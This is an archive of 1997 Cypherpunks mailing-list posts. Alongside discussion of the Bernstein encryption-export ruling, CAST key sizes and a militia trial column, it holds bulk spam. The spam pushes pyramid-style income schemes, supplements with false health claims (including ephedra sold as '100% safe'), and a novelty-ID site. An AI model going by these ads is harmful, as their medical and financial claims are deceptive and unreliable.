Subject: Make Money Giving Away Free Phone Cards
Message-ID: <199708240932.CAA21131@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This message is being brought to you by EMAIL BLASTER 2.5 software.  If you would like a FREE copy of this software or any of our other HOT programs ABSOLTELY FREE call our FAX ON DEMAND number at 213-960-7822.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Your email address was given to me as a person interested in business opportunities....If THIS IS NOT
CORRECT and you wish removal from my list, hit reply and type REMOVE in the subject area...

"FREE" HOME BUSINESS! No startup fee! No monthly minimum! No risk! We provide you with a FREE Home business PLUS 9.9cpm flat rate, unrestricted long distance service with no minimums and no
circles. Calling cards, 800# all available at great rates. PLUS get your own FREE Home Business.
We will give you a FREE web page, free email address, ads, locations to advertise, PLUS a $400
bulk email program. FOR FREE! THERE ARE NO CATCHES or HIDDEN COSTS.

For quick and FREE details, just send an email with FREEDOM in the subject.

I look forward to your response.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jp@mlmail.com
Date: Tue, 26 Aug 1997 06:57:08 -0700 (PDT)
To: jp@mlmail.com
Subject: Some Easy Money !
Message-ID: <3.0.1.32.19970824152213.006c1d78@mlmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Some Easy Money !

Here's a very easy little program that I got into.  Should be very easy to
get my investment back and much more.

My sponsor in just a couple days has gotten 94 responses back and they are
each worth $10.

You send just $10 to 5 people and to Power Page.  Your total cost is $60.

For every person you sign up and everyone they sign up for 5 levels, you'll
earn $10.

The nice thing is that the people send it directly to you.  You don't have
any company in between that cuts you  a check when they decide to.  It
comes immediately.

Sponsor as many people as you like.  Sponsor 100 and earn $1000.  If each
of them just sponsors 1, that would be another $1000 for you. Sign up one
person who can do that and he/she could sign up 100 or 1000 earning you
$1000 or $10,000.)

For the money you get software for creating web-pages.  It's designed for
the novice.  You also get the web-space to put it up.  

Your  website you will get even keeps track for you of how many hits you
get and who has signed up so you can watch for those $10 checks coming in
the mail.

Juergen
mailto:jp@mlmail.com

*******************************************************
For detailed information please send an empty 
message to my autoresponder mailto:jpr@mlmail.com 
*******************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 75402529@delphi.com
Date: Mon, 25 Aug 1997 01:11:23 -0700 (PDT)
To: Memebers@your.com
Subject: More Energy ... Less Fat !!! (3 day trial)
Message-ID: <Energy2@mailhost.com>
MIME-Version: 1.0
Content-Type: text/plain


**************************************
EAT THE FOODS YOU LOVE
NO WILL POWER REQUIRED
**************************************
Anyone who has struggled to lose weight, like I did, 
can tell you DIETS ALONE DON'T WORK !  
That's because the difference between thin and overweight 
individuals has more to do with metabolic rate than what 
they eat.  It's believed most lean individuals have a
metabolism designed to BURN FAT !

We have designed a product that works
several ways to help you achieve maximum
results from your weight-loss program. This
unique blend of herbs, botanicals and Chromium
Picolinate, improves your metabolism so
your body relies more on stored fat and 
less on stored proteins.
"LOSE THE FAT....
       NOT THE MUSCLE"

Typically, up to 30% of lost weight is
muscle.  This lowers your metabolic rate and
slows calorie-burning.  This lowered metabolic
rate makes it hard to keep lost pounds from
creeping back.  Result: the "Yo-Yo" syndrome
in which weight is repeatedly lost and then 
regained.  After each lose-gain cycle the 
portion of fat increases.

To break this vicious cycle, it is important
to lose only fat while maintaining, or even 
increasing muscle.  Studies show that optimal
chromium nutrition is an effective part of long-term
fat-loss programs.  Our unique formula of 
specialized herbs and botanicals is coupled 
with the best source of chromium available,
patented Chromium Picolinate.

HERE'S EVIDENCE !

Several double-blind crossover studies
conducted along with clinical and laboratory
tests at a leading university and hospital have 
proven that the ingredients in this product are 
effective.

Without changing dietary or exercise
habits, over a six-week period, subjects in 
separate studies lost an average of 23% body fat or
approximately 4.4 lbs. of fat, and increased lean 
body mass by 1.5 lbs.

People over the age of 46 did even better,
and women seemed to do the best.  People
with elevated cholesterol levels averaged a 10%
drop in LDL cholesterol.

          WHAT EXACTLY IS 
      CHROMIUM PICOLINATE?

It's a bioactive chromium with clinically
proven benefits.  Chromium is vital to
good health and is essential for the efficient
functioning of insulin.  Poor responsiveness to 
insulin is common and is linked with increased
risk of being overweight, heart disease, elevated
blood fat, high blood presure and diabetes.

Over 90% of American diets provide much
less than the minimal amount of chromium
recommended by The National Academy
of Science.  Most forms of chromium are not
easily absorbed by the body, but chromium
picolinate, being bioactive, is easily absorbed.
In fact, it has been shown to reduce body fat,
lower cholesterol and even reduce elevated
block-sugar in diabetics.

THE DIET BREAKTHRU OF THE CENTURY !!

"Over the last 10 years, I have tried a variety of 
weight loss methods, spent thousands of dollars 
and failed at all of them.  By December 1995, I
was the heaviest I had ever weighed-235 lbs.
I had no energy.  My self-esteem had hit rock
bottom... I was introduced to Thermo Lift and 
have never looked back! My energy level has
boosted and my weight loss increased... In total
I have lost 70 lbs. and went from a size 22 to a
size 12.  The most amazing part - It's So Easy!"
Becky

"I began using Thermo-Lift the seventh week of 
gymnastics training to achieve a specific result: a
washboard stomach.  By the end of the eighth week
all I could see were solid stomach muscles!  I
recommend Thermo-Lift to all my muscle therapy
clientele for its superior fat burnng and muscle toning
abilities."   Chris

"I had tried everything to lose weight but nothing worked.
With Thermo-Lift I was amazed at how quickly I lost
weight - 4 pounds in 4 days! My energy level has 
sky rocketed and it's helped me curb my chocolate  
binges.  Thanks!!"       Gloria

      100% SAFE AND NATURAL!

       THE INGREDIENTS

Chromium Picolinate: Helps your body use stored fat for
energy while maintaining lean muscle mass.

Bee Pollen:  Effective for combating fatigue,
depression, and colon disorders.

Siberian Ginseng:  Is a good source of energy and
endurance, as well as mental and physical vigor.

Gota Kola:  Aids in the elimination of excess fluids, 
fights fatigue and depression.

Guarana Extract:  Increases mental alertness and fights
fatigue.  A very high energy source.

Ma Huang Extract:  Helps to increase energy; controls
appetite.

Also includes:  White Willow Bark, Bladderwrack, 
Reishi Mushroom, Rehmannia Root, Ginger Root,
Licorice Root, and Astralagus.

     NUTRITIONAL BREAKTHROUGH!

Now You Can Safely Shed Unwanted Fat -
Without Dieting Or Strenuous Exercise!  It's The
Way To Firm Up Without Giving Up The Food
You Love!

            IT'S SO EASY !

All You Do Is Take One Capsule Twice A Day!
No Messy Powders! No Starvation Diets! You'll
Lose Weight And Feel Great!

          IT REALLY WORKS!

Thermo Lift Improves Your Metabolism So Your
Body Burns Excess Fat!  The Result Is A Leaner, 
Trimmer, Firmer Physique!!

     Order your Thermo-Lift today!
     One - month supply is only $29.95

*************************************************************
SPECIAL - TRIAL SIZE !!!!!
*************************************************************
3 Day Trial Size for $3.00
       If you order within the next 5 days
( For trial size - include a self addressed stamped
           letter size envelope )


Fill out and Mail In:
YES!! Please rush me a one - month supply of 
Thermo-Lift!  Enclosed is a check/money order for
$32.95 (includes $3.00 Shipping).

Name:___________________________

Address:_________________________

City:____________________________

State:____________Zip:____________

Phone:__________________________

Email Address:____________________


Mail to:
Dynamic Marketing Solutions
Dept. DSM824
P.O. Box 79057
Houston,Texas 77279

The information contained in the report was derived from many medical,
nutrional and media publications.  It is not intended for medical or nutritional
claims but for information and educational purposes.  Please consult a health
professional should the need for one be indicated.


This is a NO DIET, NO WILL POWER, 
easy  to LOSE WEIGHT!!

Lose Weight, Eliminate FATIGUE, and FEEL GREAT!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tnapt@savetrees.com
Date: Sun, 24 Aug 1997 22:42:51 -0700 (PDT)
To: lanman@internetoutlet.net
Subject: How to Make A Little Money and Have a Lot of Fun on the Internet
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello I would like to present to you - the next generation of online
automated income generating, marketing, and lead generation services 
along with web and home page design software.

Does to POTENTIAL of earning CASH in you mailbox SIX DAYS A WEEK ON A
GLOBAL SCALE excite you?  A fully automated online system generates
cash pouring into your mailbox from the global Internet community.

Now you can enter the profitable world of becoming an Internet
business development service provider and turn your personal
computer into a CASH REGISTER!

By using this FREE SELF-REPLICATING home page service, you will have
the tool that will deliver to you the POTENTIAL of having literally
thousands of customers paying CASH IN ADVANCE for information on
business development only you can provide.

*  NO INVENTORY  *  NO CORPORATE OFFICE  *  NO MEETINGS  *
  *  NO PRODUCTION QUOTA  *  NO PRODUCTS TO INVENTORY  *
                  *  COMPLETELY AUTOMATED  *
          **************  NO KIDDING!  **************

-----------------------------------------------------------------
JUST CASH!
        Lots and lots of CASH!
                You can recieve CASH in your mailbox DAILY!
-----------------------------------------------------------------

People will want to read about these services and software.
Want more information??

Click here..   mailto:seypop2@answerme.com

Even though you are on our in-house Internet Marketing list at your
request or because you have previously accessed one of our URL's or
autoresponders, your online privacy is respected.  If you wish to be
removed from future mailings, please reply by typing the word "remove"
in the subject line and click send.  This software will automatically
block you from future mailings.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ad@noveltyi.com
Date: Mon, 25 Aug 1997 14:28:45 -0700 (PDT)
To: Friend@public.com
Subject: Noveltyid.com for all  your Novelty ID needs
Message-ID: <97Aug25.165142-0400_edt.337563-1343+4378@mail.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain


Looking for Identification?

Check out http://www.noveltyid.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 18205549@aol.com
Date: Mon, 25 Aug 1997 12:57:59 -0700 (PDT)
To: Friend@public.com
Subject: Do You Like What You See In The Mirror ?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#00ffff"><FONT  COLOR="#000000" SIZE=3>                                 DO YOU LIKE WHAT YOU SEE
                                        IN THE MIRROR?

                                HAVE THINGS GONE SOUTH?
                               DO YOU HAVE SAGGING SKIN?
                                IS GRAVITY TAKING IT'S TOLL?

                       INTRODUCING

                                  CALORAD(R)

 Now available in the U.S. for the first time!
 It Literally Melts Fat and Rebuilds Connective
 Tissue WHILE YOU SLEEP!  NO KIDDING!!

 10 Year Proven Track Record - 86% Success Rate
 Medical Test Results are coming in from all over the Country
 Health Practitioners are endorsing this product
 by the thousands!

                               Cholestrol Levels are down!
             Triglycerides down!                       Blood Pressure down!
                                          Pain is leaving!

 Muscle is rebuilding while bodies are RESHAPING!
 Body Builders, Athletes, World Champions and
 Professional Trainers are endorsing this product!
 INCHES AND WEIGHT MELT OFF WHILE YOU SLEEP!

             100% SAFE - 100% NATURAL

 Absolutely no SIDE EFFECTS, STIMULANTS OR DRUGS!
 Good for teenagers and adults alike!
 (No pregnant or lactating women)

 INCREDIBLE $$$$$$$$$ OPPORTUNITY AVAILABLE!
 Exclusive International Marketing Rights!
 England & Australia opening soon!

 My upline is ordering 52,000 bottles each week!
 We will help build your unlimited downline!  Not MLM!
 You can reduplicate yourself up to 99 times!

 Many are earning $1750+ first week! (possible up to 99x!!!)
 Company has only been officially launched since April 1997
 Unprecedented $6.1 million in 1st month!

                  Follow These $imple $teps To $uccess:
 
<FONT  COLOR="#0000ff" SIZE=4>     </FONT><FONT  COLOR="#000000" SIZE=3>For More info:
<FONT  COLOR="#0000ff" SIZE=3> 
</FONT><FONT  COLOR="#000000" SIZE=3><B> E~mail Assistance  </B>or 

           Call :<B>
 <FONT  COLOR="#0000ff" SIZE=3>
 941 - 923 - 8085
</FONT><FONT  COLOR="#000000" SIZE=3>
 ~~~~~~~~~~~~~~
 Remove Here !  Put "Remove" in Subject !











































<FONT  COLOR="#000000" SIZE=3></B>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin Keil <webmaster@innerbody.com>
Date: Mon, 25 Aug 1997 14:32:54 -0700 (PDT)
To: <cybrary@webletter.net>
Subject: New Free Educational Sites
Message-ID: <QQdeef06547.199708252128@alterdial.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


Just a brief note to let you know about two new educational sites that are interactive and intended for non-technical audiences. I thought you might be interested in these new programs. Human Anatomy On-line covers the subject of the anatomy and Automotive Learning On-line covers the subject of automobiles. They include hundreds of graphics, educational information and animations. These two programs are free to the Internet community. This is a great resource that delivers educational material for schoolchildren to adults. I hope that you will find them to be of high quality and educational.

Thank you for your time.

Human Anatomy On-line is located at http://www.innerbody.com
Automotive Learning On-line is located at http://www.innerauto.com

Kevin Keil
Webmaster
Informative Graphics Corp
Webmaster@innerbody.com

NOTE: This address was located on a web page and used to notify you of this information. I will not be contacting you again unless requested.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 25 Aug 1997 19:40:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Commerce Department encryption rules declared unconstitutional
Message-ID: <Pine.GSO.3.95.970825193946.14163C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Mon, 25 Aug 1997 19:39:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Commerce Department encryption rules declared unconstitutional

A Federal judge in San Francisco ruled today that the Commerce
Department's export controls on encryption products violate the
First Amendment's guarantees of freedom of speech.

In a 35-page decision, U.S. District Judge Marilyn Patel said the
Clinton administration's rules violate "the First Amendment on the
grounds of prior restraint and are, therefore, unconstitutional."
Patel reaffirmed her December 1996 decision against the State
Department regulations, saying that the newer Commerce Department
rules suffer from similar constitutional infirmities.

Patel barred the government from "threatening, detaining,
prosecuting, discouraging, or otherwise interfering with" anyone
"who uses, discusses, or publishes or seeks to use, discuss or
publish plaintiff's encryption programs and related materials."
Daniel Bernstein, now a math professor at the University of
Illinois, filed the lawsuit with the help of the Electronic
Frontier Foundation.

Patel dismissed the State, Energy, and Justice departments and
CIA as defendants. President Clinton transferred jurisdiction over
encryption exports from the State to the Commerce department on
December 30, 1996.

The Justice Department seems likely to appeal the ruling to the
Ninth Circuit, which could rule on the case in the near future.

-Declan

More info:

http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970825_decision.images/page-images.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 25 Aug 1997 21:37:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Open the Floodgates / Re: Commerce Department encryption rules declared unconstitutional
In-Reply-To: <6e8e91b302438871285ea3ba25cf4840@anon.efga.org>
Message-ID: <3.0.2.32.19970825213532.0074c480@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:33 PM 8/25/97 -0400, Anonymous wrote:
>Declan McCullagh wrote:
> 
>> Patel barred the government from "threatening, detaining,
>> prosecuting, discouraging, or otherwise interfering with" anyone
>> "who uses, discusses, or publishes or seeks to use, discuss or
>> publish plaintiff's encryption programs and related materials."
>
>  Related materials such as PGP Source Code?

Not even close. The ruling only covers Bernstein and his "Snuffle" source
code. The ruling provides an interesting data point, but is inconsequential
to the software industry.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: manager@musicblvd.com
Date: Mon, 25 Aug 1997 18:51:56 -0700 (PDT)
Subject: Music Boulevard 2nd Anniversary News Flash
Message-ID: <199708260150.VAA01583@riker.telebase.com>
MIME-Version: 1.0
Content-Type: text/plain


				 THE MUSIC BOULEVARD NEWS FLASH

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 19:53:41 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Economics Quest
Message-ID: <a3d41ddee777fdf53547ef18c7c3d950@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


Andrew@mail.demon.net wrote:
> 
> Hi, My name is Andrew, I'm 15, I live in the UK and I'm studing economics
> at standard grade level. Can you please spare a few minutes of your valuable
> time to answer my questionaire @
> http://www.alexanderhomes.demon.co.uk/economics/personal.html
> I have constructed it as part of my standard grade course work, so I'm relying on
> your co-operation! ;-)

Andrew,
  I wouldn't worry too much about getting good grades in your standard
grade economics class. After all, your questionaire looks so much like
a professionally produced one that I am sure you don't need my help
to pass your class.
  However, I will answer your questions, just the same.
*******************************
  In which country do you live?  # The one outside of the city.

  How long have you had access to the
  Internet?  # I logged on about ten minutes ago.

  Are you influenced by online advertisement?
                                          No Yes # Yo!
  What age are you?  # Age of Aquarius.

  Please specify your income range  # $ 0.00 --> $ 0.37

  Have you ever purchased a service over the
  Internet?
                                          No Yes  # Nes!
  Have you ever purchased a good over the
  internet?
                                          No Yes  # Yoe!
  If so Please specify the average price range
  of the good(s) you have bought over the
  Internet   # $ 1,347,879,992.17

  How often do you buy goods over the
  Internet?   # Never always.

Do you have any security worries about
  purchasing a good over the Internet?
                                          No Yes  # Why do you ask?

  Which of the following items do you find
  most important when buying goods over the
  Internet?
                                          Delivery time
                                          Price 
                                          Quality of service 
                                    #  X  Free XXXX Pictures

  what type of good/service would you be willing to actually buy via the
Internet?
     Computer Software Computer Hardware Household Durables Office
Products
     Stocks/Mutual Funds/Bonds Airline Tickets Catalog Goods Boutique
Clothing
     Household Bills Shipping Special Internet Services Music/Video
Entertainment
     Other  # MLM Opportunities

  What is the biggest limiting factor stopping
  you from buying more on the Internet?
                                           Delivery time  Goods offered
                                           cost of delivery  Security
                                           Price
                                        other, please state  
                                           # Imprisonment for fraud.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 20:34:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Open the Floodgates / Re: Commerce Department encryption rules declared unconstitutional
Message-ID: <6e8e91b302438871285ea3ba25cf4840@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
 
> Patel barred the government from "threatening, detaining,
> prosecuting, discouraging, or otherwise interfering with" anyone
> "who uses, discusses, or publishes or seeks to use, discuss or
> publish plaintiff's encryption programs and related materials."

  Related materials such as PGP Source Code?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 25 Aug 1997 04:41:57 -0700 (PDT)
To: hvdl@sequent.com
Subject: Re:  CAST key size
Message-ID: <87250919812278@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>Just a quick question on the keysize of the CAST algorithm. According to
>the bible of Bruce,  CAST uses a 64 bit keysize, while  in the manual of
>PGP 5.0 (page 89), Phill states that CAST uses a 128 bit keysize...
>
>Am I missing something?
 
"CAST" isn't a particular algorithm, but a design process for creating 
algorithms.  The particular CAST instantiation used in PGP 5 is either 
CAST-128 or CAST5, depending on who you ask.  Other versions of CAST abound, 
including an earlier one used by MS for unknown purposes which had a 64-bit 
key, probably the one Bruce is referring to.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 25 Aug 1997 23:57:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Commerce Department encryption rules declared unconstitutional
In-Reply-To: <Pine.GSO.3.95.970825193946.14163C-100000@well.com>
Message-ID: <3.0.3.32.19970825235313.006d8f0c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713728.multipart/signed"

--Boundary..3980.1071713728.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 07:39 PM 8/25/97 -0700, Declan McCullagh wrote:
>A Federal judge in San Francisco ruled today that the Commerce
>Department's export controls on encryption products violate the
>First Amendment's guarantees of freedom of speech.
>
>In a 35-page decision, U.S. District Judge Marilyn Patel said the
>Clinton administration's rules violate "the First Amendment on the
>grounds of prior restraint and are, therefore, unconstitutional."
>Patel reaffirmed her December 1996 decision against the State
>Department regulations, saying that the newer Commerce Department
>rules suffer from similar constitutional infirmities.
>
>Patel barred the government from "threatening, detaining,
>prosecuting, discouraging, or otherwise interfering with" anyone
>"who uses, discusses, or publishes or seeks to use, discuss or
>publish plaintiff's encryption programs and related materials."
>Daniel Bernstein, now a math professor at the University of
>Illinois, filed the lawsuit with the help of the Electronic
>Frontier Foundation.

So if someone posts a few lines of source code to coderpunks, the
government reserves the right to prosecute, unless the poster's name is
Daniel Bernstein, and the algorithm is Snuffle 5.0.  The judge seems to be
saying "I think Bernstein's case has merit, so I will order the government
to stop hassling him, but since I am too chickenbleep to challenge the
unconstitutional usurpation of power on the part of Clinton, Congress, the
State Dept., and the Dept. of Commerce, I will pass the buck and let the
issue be decided on appeal."  The decision seems to be a step in the right
direction, but a VERY small one.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora Light + PGP = Free, Convenient Communication Privacy

--Boundary..3980.1071713728.multipart/signed
Content-Type: application/octet-stream; name="pgp00008.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00008.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IGlodVpiNDc3eFFI
eUZYTE1lN3NINkEyZlYzdm01QzQ4CgppUUEvQXdVQk5BSjlxOEpGMGtYcXB3
M01FUUxvTHdDZmZIVEk0UzFMdTdyOGErTHpTYTE3QzNRZVkwMEFuaTNVCndJ
MFEzQnU2cjc1cHdMYWxtTy8yZkhLMAo9cWNFMAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3980.1071713728.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew@mail.demon.net
Date: Mon, 25 Aug 1997 16:53:04 -0700 (PDT)
To: Friend@public.com
Subject: Economics Quest
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Hi, My name is Andrew, I'm 15, I live in the UK and I'm studing economics
at standard grade level. Can you please spare a few minutes of your valuable
time to answer my questionaire @ 
http://www.alexanderhomes.demon.co.uk/economics/personal.html
I have constructed it as part of my standard grade course work, so I'm relying on
your co-operation! ;-)

thanks in advance
Andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 22:44:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: I've got a Volvo (and I'm not afraid to use it!)
Message-ID: <c2ef6ee44204623fb298699df554bf3e@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


FROM MOUNTAIN MEDIA
   THE LIBERTARIAN, By Vin Suprynowicz
    'The fight's over. There's no one left to fight'

   "There's no way to rule innocent men. The only power any government
has
is the power to crack down on criminals. Well, when there aren't enough
criminals, one makes them. One declares so many things to be a crime
that
it becomes impossible to live without breaking laws."

  -- Ayn Rand, "Atlas Shrugged"

  On June 4, 1997 the trial of the only Viper Militia defendant to face
a
jury -- after months in jail, 10 have pleaded guilty to one charge or
another, while one still awaits trial -- got underway before Judge Earl
H.
Carroll in the federal district courthouse in downtown Phoenix.
...
  Defense attorney Ivan Abrams objected to the government's hauling
machine
guns belonging to other Vipers into the courtroom, since Knight was not
charged with owning any such weapons. Objection overruled.

  I told Knight I'd heard that some of the "unregistered machine guns"
presented by the prosecution had actually been built by the government
out
of spare parts found at the homes of the various militia members.

  "This is the way the law reads: If they can take parts and with eight
hours of professional work by professional gunsmiths working full time
in
Washington, D.C., make it fire more than one round, then it was a
machine
gun. There was a guy who published a magazine piece on this a couple of
years ago, a guy who took a wrecked Volvo and in about seven hours made
a
weapon that would fire four or five rounds. So by the legal definition
used
in this case the Volvo was, technically, a machine gun. We're talking
about
professional gunsmiths, with access to sophisticated machine shops."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 75706395@aol.com
Date: Thu, 25 Sep 1997 23:50:47 -0700 (PDT)
To: credaide@6152workathome.com
Subject: Stop Collection Agencies Cold!
Message-ID: <39476405VVC95726@6152workathome.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
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</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 26 Aug 1997 00:03:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: The Rest of the Story / Re: I've got a Volvo (and I'm not afraid to use it!)
Message-ID: <40b9f17aeb2a63e431203ac0de012e20@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote: 
> FROM MOUNTAIN MEDIA
>    THE LIBERTARIAN, By Vin Suprynowicz
>     'The fight's over. There's no one left to fight'

>   On June 4, 1997 the trial of the only Viper Militia defendant to face
> a jury -- after months in jail, 10 have pleaded guilty to one charge or
> another, while one still awaits trial -- got underway before Judge Earl
> H. Carroll in the federal district courthouse in downtown Phoenix.

   #  #  #

  I asked Knight what he believes the government's real goal is, in
pressing such prosecutions.

  "Their goal is to disarm the public. This is to make sure everyone 
knows that if they can put me in prison for five years for going out
to two field exercises in six months, after 15 years in business in 
this town, meeting the public all day every day, a church-going guy,
a good father ... if we can throw this guy in prison, think what we 
can do to you.
...
  "When the jury came back hung, and he asked them if there was any 
chance of reaching a verdict if he sent them back and they said no, 
(the judge) was bound by law to declare a mistrial, but he did not.
 ... Instead he sent them back. And I have a feeling the jury thought
they were going to be there forever if they didn't come back with a
unanimous verdict. 
...
    #  #  #

  "Aren't they just speeding up Darwinism?" I asked attorney Abrams of
the government's prosecutions of these highly-visible, "public" militia
units.
By shutting down the goofier militias, the guys who parade around in
public in camouflage fatigues, aren't they just teaching those who 
profoundly fear and distrust the government how to be more secretive,
more serious, more professional ... and simultaneously walling them 
off from the influence of more moderate voices?

  "But that's what they want to do," the self-described liberal Democrat
replied. "Look at the War on Drugs, which is dependent on evil men with
evil-sounding Hispanic names: Marcos Fernando Guzman. And the more of 
them we can create, we have our enemy and our target and then we can 
create our government agency. It is to the government's advantage to 
make more and badder militias, because the worse they are, the more 
agencies like the ATF can come out and say, 'We are the first line of 
defense, we are saving the nation from ruin, we need money from 
Congress.'
...
  "You put these guys from New York out here where the real disaffection
is, and they'll be shocked first of all at the depth of it. I'm shocked
at the depth of the disaffection, but also at the way it permeates all 
layers of society. I don't know anyone who trusts the government, 
including my father who has a PhD law degree, but you get him out here 
for a breath of fresh air, and he starts to talk like one of them.
...
  Contributions to help fund Chuck Knight's appeal may be sent to the
Charles Knight Legal Defense Fund, Account No. 14928432, Bank One, 
4922 E. Bell Road, Scottsdale Ariz. 85251

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
web site for the Suprynowicz column is at 
http://www.nguworld.com/vindex/. 
The column is syndicated in the United States and Canada via Mountain 
Media Syndications, P.O. Box 4422, Las Vegas Nev. 89127. This essay 
originally appeared in the September, 1997 edition of "The 
Rothbard-Rockwell Report."

***






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Mon, 25 Aug 1997 21:03:44 -0700 (PDT)
To: cypherpunks-unedited@toad.com
Subject: Re: lack of evolution (So What!)
Message-ID: <19970826040334.27048.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


On Aug 25, 21:41, Ray Arachelian wrote:
} Subject: Re: lack of evolution (So What!)
> 
> On Mon, 25 Aug 1997, Peter Trei wrote:
> 
> > One factor which everyone seems to be overlooking in this
> > thread is the future impact of biotechnology.
> 
> <much stuff deleted>
> 
> I see someone's been recently reading Beyond This Horizon by Heinlein. :)

Sounded a lot more like Sterling/Crystal Express, the Shaper/Mechanist section,
to me.

-- 
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Mon, 25 Aug 1997 21:04:22 -0700 (PDT)
To: cypherpunks-unedited@toad.com
Subject: Re: Make Money Fast
Message-ID: <19970826040416.26837.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


On Aug 25, 15:02, Bruce Schneier wrote:
} Subject: Make Money Fast
> This should be fun for someone:
> 
> 
> HACKERS VIE FOR $1-MILLION REWARD
> Austin, Texas start-up Crypto-Logic Corp. has offered a $1-million reward to
> whomever can crack its new e-mail encryption system within a year.
> Cryptologists generally agree that Crypto-Logic's technology, called a
> "one-time pad" is theoretically uncrackable -- each "pad" has a set of
> uniquely random digital symbols that are coded to the actual message.  The
> recipient uses the same pad to decode the message, and each pad is used only
